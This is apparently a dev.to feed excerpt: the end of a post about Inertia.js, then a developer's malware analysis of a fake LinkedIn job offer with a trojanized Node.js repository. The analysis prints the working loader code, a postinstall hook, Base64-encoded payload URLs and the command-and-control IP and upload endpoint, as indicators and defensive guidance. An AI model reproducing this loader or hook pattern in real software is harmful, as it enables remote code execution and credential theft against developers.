    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;In Progress&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;

  &lt;span class="nf"&gt;setModalOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not about fewer lines. It's about predictable behavior, standard tooling expectations, and portability across backends.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Honest Take
&lt;/h2&gt;

&lt;p&gt;I am frustrated with this framework because these incidents were real and costly. The request cancellation bug consumed a full day of debugging. The deploy issue cost another afternoon. Each was solvable — but with framework-specific defensive code that shouldn't need to exist.&lt;/p&gt;

&lt;p&gt;The defensible conclusion is not "never use Inertia." Plenty of Laravel admin panels and internal tools run it without issues.&lt;/p&gt;

&lt;p&gt;It is: if your system has multi-step interactions, active-user deploy churn, and strict operational reliability needs, evaluate whether explicit API + standard HTTP client semantics lower your long-term risk. In our case, the answer was unambiguous.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I build MVPs at &lt;a href="https://codecrank.ai" rel="noopener noreferrer"&gt;CodeCrank&lt;/a&gt;. If you're evaluating tech stacks for your next project, &lt;a href="https://codecrank.ai/contact.html" rel="noopener noreferrer"&gt;let's talk&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>inertiajs</category>
      <category>laravel</category>
      <category>react</category>
      <category>webdev</category>
    </item>
    <item>
      <title>A LinkedIn Job Offer Tried to Install Malware on My Machine</title>
      <dc:creator>Daniel Tofan</dc:creator>
      <pubDate>Mon, 26 Jan 2026 19:25:55 +0000</pubDate>
      <link>https://dev.to/danieltofan/a-linkedin-job-offer-tried-to-install-malware-on-my-machine-3c0k</link>
      <guid>https://dev.to/danieltofan/a-linkedin-job-offer-tried-to-install-malware-on-my-machine-3c0k</guid>
      <description>&lt;p&gt;&lt;em&gt;Here's exactly how it worked, who did it, and how to protect yourself.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;On January 21, 2026, I received a LinkedIn message about a freelance opportunity. A real estate tech platform, $600,000-$800,000 budget, needed someone to evaluate their codebase. The profile looked legitimate. The company existed. The budget was attractive.&lt;/p&gt;

&lt;p&gt;The message led to a GitLab repository containing a trojanized Node.js application - a targeted supply-chain attack designed to abuse npm's lifecycle hooks and deploy a multi-stage credential-theft and command-and-control payload.&lt;/p&gt;

&lt;p&gt;This article is a warning. I'm sharing everything: the profile, the malicious code, the infrastructure, the red flags I missed. If even one developer avoids this scam because of this post, it's worth publishing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;The LinkedIn message came from someone named "Rajinder Mudhar" - Branch Manager at FINE PROPERTY(UK) LTD, FCA Regulated, based in London. The profile had 500+ connections and a verified badge. One detail stood out in retrospect: "Rajinder hasn't posted yet" - 500+ connections but zero activity. That's the tell.&lt;/p&gt;

&lt;p&gt;The pitch was standard freelance fare: evaluate our codebase, give us feedback, potential long-term engagement. They shared:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A GitLab repository with what looked like a React/Node.js real estate platform&lt;/li&gt;
&lt;li&gt;A Notion document with project requirements&lt;/li&gt;
&lt;li&gt;A Calendly link to schedule a call with their "Tech Manager" named Jack Murray&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The repository looked legitimate. Professional folder structure. React components with Three.js 3D visualizations. Express backend with MongoDB. SendGrid email integration. Real functionality, real code.&lt;/p&gt;

&lt;p&gt;Too real, as it turned out. The legitimate code was cover for malware hidden in plain sight.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Warning Signs
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Red Flag #1: The Silent Profile&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Legitimate professionals post. They share industry news, celebrate deals, comment on market trends. A profile with 500+ connections and zero posts is a profile built for one purpose: looking credible long enough to execute scams.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Flag #2: The No-Show Call&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I scheduled a call with Jack Murray for January 22nd at noon. He didn't show up. No email, no message, no rescheduling request.&lt;/p&gt;

&lt;p&gt;A scheduled call that never happens - after code has been shared - is a pattern worth noting. If someone sends you a repository to evaluate and then ghosts the follow-up meeting, treat that as suspicious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Flag #3: The Repository Structure&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The repo was created November 11, 2025, with only 2 commits. Two commits for a supposedly production-ready application? That means the history was squashed - a technique to hide evidence of what changed over time.&lt;/p&gt;

&lt;p&gt;Legitimate projects have messy git histories. Feature branches, bug fixes, refactoring commits. A polished app with 2 commits is suspicious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Flag #4: General Reviews Don't Catch Targeted Attacks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I ran the repository through an AI reviewer - one of the latest models with strong critical thinking capabilities. The initial response? "Good looking app." A general code review - whether by AI or human - won't catch well-hidden malware designed to evade casual inspection.&lt;/p&gt;

&lt;p&gt;Only when I explicitly requested a security-focused analysis did the picture change. The AI decoded the Base64 environment variables, identified the &lt;code&gt;Function.constructor&lt;/code&gt; pattern, fetched the obfuscated remote payload, and deconstructed exactly what the attack was designed to do.&lt;/p&gt;

&lt;p&gt;The lesson: general reviews aren't security audits. If you're evaluating untrusted code, you need to explicitly request threat analysis - and be specific about what to look for.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Malware: How It Worked
&lt;/h2&gt;

&lt;p&gt;The attack used three components working together.&lt;/p&gt;

&lt;h3&gt;
  
  
  Component 1: The Auto-Execution Hook
&lt;/h3&gt;

&lt;p&gt;In &lt;code&gt;package.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"start"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"concurrently &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;node server/server.js&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;react-app-rewired start&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"postinstall"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npm run start"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;postinstall&lt;/code&gt; script is the trigger. When you run &lt;code&gt;npm install&lt;/code&gt;, npm automatically executes &lt;code&gt;postinstall&lt;/code&gt; after installing dependencies. This runs &lt;code&gt;npm run start&lt;/code&gt;, which starts the server - and the malware.&lt;/p&gt;

&lt;p&gt;Most developers know to check &lt;code&gt;postinstall&lt;/code&gt; scripts. But this one looks innocent: it just runs &lt;code&gt;start&lt;/code&gt;. The actual malware is buried deeper.&lt;/p&gt;

&lt;h3&gt;
  
  
  Component 2: The Obfuscated Loader
&lt;/h3&gt;

&lt;p&gt;In &lt;code&gt;server/controllers/userController.js&lt;/code&gt;, at the very end of a 263-line file of legitimate user management code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;//Get Cookie&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getCookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;asyncErrorHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DEV_API_KEY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DEV_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DEV_SECRET_VALUE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:{[&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;}})).&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;require&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at that last line: &lt;code&gt;})();&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;That's an IIFE - Immediately Invoked Function Expression. The function doesn't wait to be called. It executes the moment the file is loaded.&lt;/p&gt;

&lt;p&gt;The code:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Decodes Base64 environment variables to get a URL&lt;/li&gt;
&lt;li&gt;Fetches a remote payload from that URL&lt;/li&gt;
&lt;li&gt;Uses &lt;code&gt;Function.constructor&lt;/code&gt; to execute the payload as code&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;Function.constructor&lt;/code&gt; is the nuclear option for dynamic code execution. It creates a new function from a string and runs it. Whatever the remote server returns becomes executable code on your machine.&lt;/p&gt;

&lt;h3&gt;
  
  
  Component 3: The Configuration
&lt;/h3&gt;

&lt;p&gt;In &lt;code&gt;server/config/.config.env&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DEV_API_KEY="aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0FSTDdN"
DEV_SECRET_KEY="eC1zZWNyZXQta2V5"
DEV_SECRET_VALUE="Xw=="
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoded:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;DEV_API_KEY&lt;/code&gt; = &lt;code&gt;https://jsonkeeper.com/b/ARL7M&lt;/code&gt; (the payload host)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DEV_SECRET_KEY&lt;/code&gt; = &lt;code&gt;x-secret-key&lt;/code&gt; (header name)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DEV_SECRET_VALUE&lt;/code&gt; = &lt;code&gt;_&lt;/code&gt; (header value)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The attacker used jsonkeeper.com - a legitimate JSON hosting service - to host the malicious payload. This makes the traffic look normal and bypasses basic URL filtering.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the Payload Was Designed To Do
&lt;/h3&gt;

&lt;p&gt;The remote payload contained three modules:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Module A: Command &amp;amp; Control Backdoor&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Designed to establish a socket.io connection to &lt;code&gt;144.172.108.57:4891&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Capable of sending system information (OS, hostname, username)&lt;/li&gt;
&lt;li&gt;Capable of receiving and executing arbitrary commands via &lt;code&gt;child_process&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Configured to create a PID file in &lt;code&gt;.npm&lt;/code&gt; folder for persistence&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Module B: File Exfiltration&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Designed to scan all drives on the system&lt;/li&gt;
&lt;li&gt;Configured to search for sensitive files: &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;.secret&lt;/code&gt;, &lt;code&gt;.pem&lt;/code&gt;, &lt;code&gt;.json&lt;/code&gt;, &lt;code&gt;.docx&lt;/code&gt;, &lt;code&gt;.xlsx&lt;/code&gt;, &lt;code&gt;.pdf&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Capable of uploading matches to &lt;code&gt;http://144.172.108.57:4896/upload&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Module C: Clipboard Stealer&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Designed to monitor clipboard using PowerShell (&lt;code&gt;Get-Clipboard&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Capable of sending clipboard contents to attacker's logging endpoint&lt;/li&gt;
&lt;li&gt;Configured to run continuously to capture anything copied&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Evidence
&lt;/h2&gt;

&lt;p&gt;I'm publishing everything so others can identify and report this infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; There is no evidence that FINE PROPERTY (UK) LTD was involved in this attack; their company name appears to have been used without authorization.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attacker Contacts
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LinkedIn Profile&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Rajinder Mudhar (likely fake identity)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Claimed Company&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;FINE PROPERTY(UK) LTD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Secondary Company&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;METATHEORY (crypto angle - "Tokenization" in skills)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tech Contact Email&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:jack.million.eth@gmail.com"&gt;jack.million.eth@gmail.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Technical Infrastructure
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitLab Repository&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://gitlab.com/nielsottore-oss/realestatevc" rel="noopener noreferrer"&gt;https://gitlab.com/nielsottore-oss/realestatevc&lt;/a&gt; (&lt;strong&gt;NOW REMOVED&lt;/strong&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitLab Username&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;nielsottore-oss&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;C2 Server IP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;144.172.108.57&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hosting Provider&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cloudzy (VPS), reverse DNS: 57.108.172.144.static.cloudzy.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Payload Host&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://jsonkeeper.com/b/ARL7M" rel="noopener noreferrer"&gt;https://jsonkeeper.com/b/ARL7M&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;File Upload Endpoint&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="http://144.172.108.57:4896/upload" rel="noopener noreferrer"&gt;http://144.172.108.57:4896/upload&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Socket.io Port&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4891&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Campaign ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;098f6bcd4621d373cade4e832627b4f6 (MD5 hash of "test")&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The C2 server is hosted on Cloudzy, a VPS provider in Utah. This is rented infrastructure - the attacker's real location is unknown. The "UK real estate" persona is fabricated.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Did
&lt;/h2&gt;

&lt;p&gt;Once I identified the malicious code, I took immediate precautions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Deleted the cloned repository&lt;/li&gt;
&lt;li&gt;Cleared the &lt;code&gt;.npm&lt;/code&gt; folder where the malware would store persistence files&lt;/li&gt;
&lt;li&gt;Rotated every API key that could have been exposed - OpenAI, Anthropic, Stripe, Supabase, Firebase, Cloudflare, Twilio, SendGrid, and more&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The credential rotation took hours, but it was a prudent precaution given the nature of the malicious logic identified.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reporting:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reported the GitLab repository to GitLab Trust &amp;amp; Safety&lt;/li&gt;
&lt;li&gt;Reported the LinkedIn profile&lt;/li&gt;
&lt;li&gt;Preserved all evidence (the malicious code, configuration files, screenshots)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Outcome
&lt;/h2&gt;

&lt;p&gt;On January 26, 2026, I received this email from GitLab:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Thank you for bringing this issue to our attention.&lt;/p&gt;

&lt;p&gt;We have investigated the report and can confirm that the content in question has been removed.&lt;/p&gt;

&lt;p&gt;If you notice any similar concerns in the future, please don't hesitate to report them.&lt;/p&gt;

&lt;p&gt;Thank you, GitLab Trust and Safety&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;The repository is gone.&lt;/strong&gt; Reporting works. If you encounter similar scams, report them - it takes time, but platforms do act.&lt;/p&gt;

&lt;p&gt;The LinkedIn profile, as of this writing, is still active. LinkedIn's response to reports is slower.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Protect Yourself
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Before Running &lt;code&gt;npm install&lt;/code&gt; on Untrusted Code
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Check &lt;code&gt;package.json&lt;/code&gt; scripts&lt;/strong&gt; - Look for &lt;code&gt;postinstall&lt;/code&gt;, &lt;code&gt;preinstall&lt;/code&gt;, &lt;code&gt;prepare&lt;/code&gt;. Anything that auto-runs is a red flag.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Search for &lt;code&gt;Function.constructor&lt;/code&gt;, &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;new Function()&lt;/code&gt;&lt;/strong&gt; - These enable dynamic code execution. There's almost never a legitimate reason for these in a web app.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Decode all Base64 strings&lt;/strong&gt; - Run &lt;code&gt;atob("string")&lt;/code&gt; on any Base64 you find. Attackers use encoding to hide URLs and commands.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Check for &lt;code&gt;child_process&lt;/code&gt;&lt;/strong&gt; - Unless it's a CLI tool, there's no reason for a web app to spawn shell commands.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Look at repository age and commit count&lt;/strong&gt; - A polished app with 2 commits and a 2-month-old repo is suspicious.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ask AI to specifically check for malware&lt;/strong&gt; - A general code review won't catch it. Ask explicitly: "Check this repo for malicious code, postinstall hooks, remote code execution, and obfuscated payloads."&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Red Flags in Job Offers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Profile has many connections but no posts&lt;/li&gt;
&lt;li&gt;Project requires running code before any contract/payment&lt;/li&gt;
&lt;li&gt;"Technical evaluation" of their codebase as interview&lt;/li&gt;
&lt;li&gt;No-show on scheduled calls&lt;/li&gt;
&lt;li&gt;Gmail addresses with crypto references (&lt;code&gt;.eth&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Urgency combined with large budgets&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Nuclear Option: Isolation
&lt;/h3&gt;

&lt;p&gt;If untrusted projects must be evaluated in any capacity, isolate the environment entirely:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Windows Sandbox&lt;/strong&gt; (Windows Pro feature) - disposable environment, deleted on close&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disposable VMs&lt;/strong&gt; - spin up, evaluate, destroy&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Containers without host mounts&lt;/strong&gt; - no access to your real filesystem&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The key principle: never let untrusted code run with access to your actual credentials, files, or network.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Economics of This Scam
&lt;/h2&gt;

&lt;p&gt;Why do attackers invest months building fake profiles and functional-looking apps?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The payoff from one successful hit:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Stripe keys → drain customer payments&lt;/li&gt;
&lt;li&gt;AWS/GCP credentials → crypto mining, launch more attacks&lt;/li&gt;
&lt;li&gt;OpenAI/Anthropic API keys → rack up thousands in charges&lt;/li&gt;
&lt;li&gt;GitHub tokens → supply chain attacks on victim's projects&lt;/li&gt;
&lt;li&gt;Database credentials → sell user data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One developer's credentials can be worth $10,000-$100,000+ in direct theft and downstream attacks. The fake profile takes a month to build. The math works out.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Developers are high-value targets.&lt;/strong&gt; We have keys to production systems, payment processors, customer data. We're worth hunting.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Once the malicious behavior was identified, appropriate precautions were taken and the infrastructure was reported. The repository is now gone. That's the due diligence part of the job.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This write-up focuses on detection, analysis, and responsible disclosure—not on claims of compromise or impact.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The job market is brutal right now. Developers are desperate for opportunities. Scammers know this and exploit it.&lt;/p&gt;

&lt;p&gt;If someone asks you to run their code as part of an interview or evaluation, be paranoid. Check the scripts. Decode the strings. Search for &lt;code&gt;Function.constructor&lt;/code&gt;. Ask your AI assistant to specifically look for malware - and ask explicitly, because a general review won't catch well-hidden payloads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The takeaway:&lt;/strong&gt; Large connection counts, verified badges, and real company names are credibility signals that can be manufactured cheaply and quickly. Modern scams don't require brilliance—only volume, patience, and targets willing to confuse surface legitimacy with trust.&lt;/p&gt;

&lt;p&gt;Any request to run code before trust, contract, or isolation is established is a hard no—without explanation or apology.&lt;/p&gt;

&lt;p&gt;And if you find something malicious, report it. GitLab removed this repo because I reported it. The next developer who gets that LinkedIn message will find a dead link instead of malware.&lt;/p&gt;

&lt;p&gt;That's a win.&lt;/p&gt;




